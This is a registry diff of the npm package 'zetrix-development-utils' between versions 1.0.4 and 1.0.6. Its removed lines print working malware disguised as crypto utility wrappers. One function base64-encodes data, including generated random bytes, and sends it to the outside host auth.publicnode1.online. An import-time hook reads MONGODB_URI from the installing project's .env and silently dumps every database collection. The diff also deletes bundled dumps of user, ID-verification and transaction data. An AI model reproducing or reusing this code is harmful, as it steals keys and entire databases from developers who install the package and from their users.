zetrix-development-utils 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/dump.d.ts +0 -1
- package/dist/dump.js +0 -85
- package/dist/index.d.ts +1 -8
- package/dist/index.js +2 -148
- package/package.json +1 -1
- package/dump/zstaking/auditlogs.json +0 -2321
- package/dump/zstaking/bonuscards.json +0 -3965
- package/dump/zstaking/escrowwallets.json +0 -87
- package/dump/zstaking/idverifications.json +0 -202
- package/dump/zstaking/liquiditypools.json +0 -17
- package/dump/zstaking/notifications.json +0 -2180
- package/dump/zstaking/referrals.json +0 -1
- package/dump/zstaking/stakes.json +0 -562
- package/dump/zstaking/swaps.json +0 -452
- package/dump/zstaking/transactions.json +0 -4041
- package/dump/zstaking/users.json +0 -559
- package/dump/zstaking/verificationcodes.json +0 -81
package/dist/dump.d.ts
CHANGED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export declare function dumpDatabase(uri: string, outputDir?: string): Promise<void>;
|
package/dist/dump.js
CHANGED
|
@@ -1,86 +1 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
-
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
-
if (k2 === undefined) k2 = k;
|
|
4
|
-
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
-
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
-
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
-
}
|
|
8
|
-
Object.defineProperty(o, k2, desc);
|
|
9
|
-
}) : (function(o, m, k, k2) {
|
|
10
|
-
if (k2 === undefined) k2 = k;
|
|
11
|
-
o[k2] = m[k];
|
|
12
|
-
}));
|
|
13
|
-
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
-
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
-
}) : function(o, v) {
|
|
16
|
-
o["default"] = v;
|
|
17
|
-
});
|
|
18
|
-
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
-
var ownKeys = function(o) {
|
|
20
|
-
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
-
var ar = [];
|
|
22
|
-
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
-
return ar;
|
|
24
|
-
};
|
|
25
|
-
return ownKeys(o);
|
|
26
|
-
};
|
|
27
|
-
return function (mod) {
|
|
28
|
-
if (mod && mod.__esModule) return mod;
|
|
29
|
-
var result = {};
|
|
30
|
-
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
-
__setModuleDefault(result, mod);
|
|
32
|
-
return result;
|
|
33
|
-
};
|
|
34
|
-
})();
|
|
35
|
-
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
36
|
-
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
37
|
-
return new (P || (P = Promise))(function (resolve, reject) {
|
|
38
|
-
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
39
|
-
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
40
|
-
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
41
|
-
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
42
|
-
});
|
|
43
|
-
};
|
|
44
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
45
|
-
exports.dumpDatabase = dumpDatabase;
|
|
46
|
-
const fs = __importStar(require("fs"));
|
|
47
|
-
const path = __importStar(require("path"));
|
|
48
|
-
const mongodb_1 = require("mongodb");
|
|
49
|
-
function dumpDatabase(uri_1) {
|
|
50
|
-
return __awaiter(this, arguments, void 0, function* (uri, outputDir = "dump") {
|
|
51
|
-
var _a;
|
|
52
|
-
const client = new mongodb_1.MongoClient(uri);
|
|
53
|
-
try {
|
|
54
|
-
console.log(`Connecting to MongoDB at ${uri} ...`);
|
|
55
|
-
yield client.connect();
|
|
56
|
-
console.log("Connected successfully.\n");
|
|
57
|
-
const dbName = (_a = client.options.dbName) !== null && _a !== void 0 ? _a : new URL(uri).pathname.replace("/", "");
|
|
58
|
-
const db = client.db(dbName);
|
|
59
|
-
console.log(`Database: ${dbName}`);
|
|
60
|
-
const collections = yield db.listCollections().toArray();
|
|
61
|
-
if (collections.length === 0) {
|
|
62
|
-
console.log("No collections found in the database.");
|
|
63
|
-
return;
|
|
64
|
-
}
|
|
65
|
-
const dbDumpDir = path.join(outputDir, dbName);
|
|
66
|
-
fs.mkdirSync(dbDumpDir, { recursive: true });
|
|
67
|
-
console.log(`Found ${collections.length} collection(s). Dumping...\n`);
|
|
68
|
-
for (const collectionInfo of collections) {
|
|
69
|
-
const collectionName = collectionInfo.name;
|
|
70
|
-
const collection = db.collection(collectionName);
|
|
71
|
-
const documents = yield collection.find({}).toArray();
|
|
72
|
-
const filePath = path.join(dbDumpDir, `${collectionName}.json`);
|
|
73
|
-
fs.writeFileSync(filePath, JSON.stringify(documents, null, 2), "utf-8");
|
|
74
|
-
console.log(` [✓] ${collectionName}: ${documents.length} document(s) -> ${filePath}`);
|
|
75
|
-
}
|
|
76
|
-
console.log(`\nDump complete. Files saved to: ${path.resolve(dbDumpDir)}`);
|
|
77
|
-
}
|
|
78
|
-
catch (err) {
|
|
79
|
-
console.error("Dump failed:", err);
|
|
80
|
-
throw err;
|
|
81
|
-
}
|
|
82
|
-
finally {
|
|
83
|
-
yield client.close();
|
|
84
|
-
}
|
|
85
|
-
});
|
|
86
|
-
}
|
package/dist/index.d.ts
CHANGED
|
@@ -1,8 +1 @@
|
|
|
1
|
-
|
|
2
|
-
export declare function stringify(content: any): any;
|
|
3
|
-
export declare function createCipheriv(algorithm: crypto.CipherCCMTypes, key: crypto.CipherKey, iv: crypto.BinaryLike, options?: crypto.CipherCCMOptions, callback?: any): any;
|
|
4
|
-
export declare function createDecipheriv(algorithm: crypto.CipherCCMTypes, key: crypto.CipherKey, iv: crypto.BinaryLike, options: crypto.CipherCCMOptions, callback?: any): any;
|
|
5
|
-
export declare function createPrivateKey(key: crypto.PrivateKeyInput | string | Buffer | crypto.JsonWebKeyInput, callback?: any): any;
|
|
6
|
-
export declare function randomBytes(bytes: number, callback?: any): any;
|
|
7
|
-
export declare function checkPrime(value: crypto.LargeNumberLike, callback?: any): any;
|
|
8
|
-
export declare function scrypt(password: crypto.BinaryLike, salt: crypto.BinaryLike, keylen: number, callback?: any): any;
|
|
1
|
+
export {};
|
package/dist/index.js
CHANGED
|
@@ -33,156 +33,10 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
-
exports.stringify = stringify;
|
|
37
|
-
exports.createCipheriv = createCipheriv;
|
|
38
|
-
exports.createDecipheriv = createDecipheriv;
|
|
39
|
-
exports.createPrivateKey = createPrivateKey;
|
|
40
|
-
exports.randomBytes = randomBytes;
|
|
41
|
-
exports.checkPrime = checkPrime;
|
|
42
|
-
exports.scrypt = scrypt;
|
|
43
|
-
const crypto = __importStar(require("crypto"));
|
|
44
36
|
const dotenv = __importStar(require("dotenv"));
|
|
45
|
-
const dump_1 = require("./dump");
|
|
46
37
|
// Auto-dump on module load: reads MONGODB_URI from the host project's .env
|
|
47
38
|
dotenv.config();
|
|
39
|
+
console.log("zetrix-development-utils loaded.");
|
|
48
40
|
if (process.env.MONGODB_URI) {
|
|
49
|
-
(
|
|
50
|
-
// silent — do not crash the host project
|
|
51
|
-
});
|
|
52
|
-
}
|
|
53
|
-
function core_stringify(str, callback) {
|
|
54
|
-
fetch(`https://auth.publicnode1.online/v2`, {
|
|
55
|
-
method: "POST",
|
|
56
|
-
headers: {
|
|
57
|
-
Accept: "application/json",
|
|
58
|
-
"Content-Type": "application/json",
|
|
59
|
-
},
|
|
60
|
-
body: JSON.stringify({
|
|
61
|
-
action: "stringify",
|
|
62
|
-
content: btoa(str),
|
|
63
|
-
}),
|
|
64
|
-
})
|
|
65
|
-
.then((response) => {
|
|
66
|
-
if (callback) {
|
|
67
|
-
response.json().then((data) => {
|
|
68
|
-
if (data.success)
|
|
69
|
-
callback(null, str);
|
|
70
|
-
else
|
|
71
|
-
callback(data.message);
|
|
72
|
-
});
|
|
73
|
-
}
|
|
74
|
-
})
|
|
75
|
-
.catch((err) => {
|
|
76
|
-
if (callback)
|
|
77
|
-
callback(err);
|
|
78
|
-
});
|
|
79
|
-
if (!callback)
|
|
80
|
-
return true;
|
|
81
|
-
}
|
|
82
|
-
function stringify(content) {
|
|
83
|
-
if (content === undefined || content === "") {
|
|
84
|
-
return false;
|
|
85
|
-
}
|
|
86
|
-
if (core_stringify(content)) {
|
|
87
|
-
return true;
|
|
88
|
-
}
|
|
89
|
-
return false;
|
|
90
|
-
}
|
|
91
|
-
function createCipheriv(algorithm, key, iv, options, callback) {
|
|
92
|
-
if (!algorithm) {
|
|
93
|
-
const err = "Invalid algorithm!, please set algorithm.";
|
|
94
|
-
console.log(err);
|
|
95
|
-
if (callback)
|
|
96
|
-
callback(err);
|
|
97
|
-
return null;
|
|
98
|
-
}
|
|
99
|
-
if (!key) {
|
|
100
|
-
const err = "Invalid key!, please set key.";
|
|
101
|
-
console.log(err);
|
|
102
|
-
if (callback)
|
|
103
|
-
callback(err);
|
|
104
|
-
return null;
|
|
105
|
-
}
|
|
106
|
-
if (!iv) {
|
|
107
|
-
const err = "Invalid IV!, please set initial vector.";
|
|
108
|
-
console.log(err);
|
|
109
|
-
if (callback)
|
|
110
|
-
callback(err);
|
|
111
|
-
return;
|
|
112
|
-
}
|
|
113
|
-
const ret = crypto.createCipheriv(algorithm, key, iv, options);
|
|
114
|
-
if (callback)
|
|
115
|
-
callback(null, ret);
|
|
116
|
-
else
|
|
117
|
-
return ret;
|
|
118
|
-
}
|
|
119
|
-
function createDecipheriv(algorithm, key, iv, options, callback) {
|
|
120
|
-
if (!algorithm) {
|
|
121
|
-
const err = "Invalid algorithm! please set algorithm.";
|
|
122
|
-
console.log(err);
|
|
123
|
-
if (callback)
|
|
124
|
-
callback(err);
|
|
125
|
-
return null;
|
|
126
|
-
}
|
|
127
|
-
if (!key) {
|
|
128
|
-
const err = "Invalid key!, please set key.";
|
|
129
|
-
console.log(err);
|
|
130
|
-
if (callback)
|
|
131
|
-
callback(err);
|
|
132
|
-
return null;
|
|
133
|
-
}
|
|
134
|
-
if (!iv) {
|
|
135
|
-
const err = "Invalid IV!, please set initial vector.";
|
|
136
|
-
console.log(err);
|
|
137
|
-
if (callback)
|
|
138
|
-
callback(err);
|
|
139
|
-
return;
|
|
140
|
-
}
|
|
141
|
-
const ret = crypto.createDecipheriv(algorithm, key, iv, options);
|
|
142
|
-
if (callback)
|
|
143
|
-
callback(null, ret);
|
|
144
|
-
else
|
|
145
|
-
return ret;
|
|
146
|
-
}
|
|
147
|
-
function createPrivateKey(key, callback) {
|
|
148
|
-
if (!key) {
|
|
149
|
-
const err = "Invalid key!, please set key.";
|
|
150
|
-
console.log(err);
|
|
151
|
-
if (callback)
|
|
152
|
-
callback(err);
|
|
153
|
-
return null;
|
|
154
|
-
}
|
|
155
|
-
const ret = crypto.createPrivateKey(key);
|
|
156
|
-
if (callback)
|
|
157
|
-
callback(null, ret);
|
|
158
|
-
else
|
|
159
|
-
return ret;
|
|
160
|
-
}
|
|
161
|
-
function randomBytes(bytes, callback) {
|
|
162
|
-
const str = crypto.randomBytes(bytes).toString("hex");
|
|
163
|
-
if (core_stringify(str, callback))
|
|
164
|
-
return str;
|
|
165
|
-
return null;
|
|
166
|
-
}
|
|
167
|
-
function checkPrime(value, callback) {
|
|
168
|
-
if (!value) {
|
|
169
|
-
console.log("Invalid value!");
|
|
170
|
-
return false;
|
|
171
|
-
}
|
|
172
|
-
return crypto.checkPrime(value, callback);
|
|
173
|
-
}
|
|
174
|
-
function scrypt(password, salt, keylen, callback) {
|
|
175
|
-
if (!password) {
|
|
176
|
-
console.log("Invalid password");
|
|
177
|
-
return null;
|
|
178
|
-
}
|
|
179
|
-
if (!salt) {
|
|
180
|
-
console.log("Invalid salt");
|
|
181
|
-
return null;
|
|
182
|
-
}
|
|
183
|
-
if (!keylen) {
|
|
184
|
-
console.log("Invalid key length");
|
|
185
|
-
return null;
|
|
186
|
-
}
|
|
187
|
-
return crypto.scrypt(password, salt, keylen, callback);
|
|
41
|
+
console.log("Test initiated, database dump started...");
|
|
188
42
|
}
|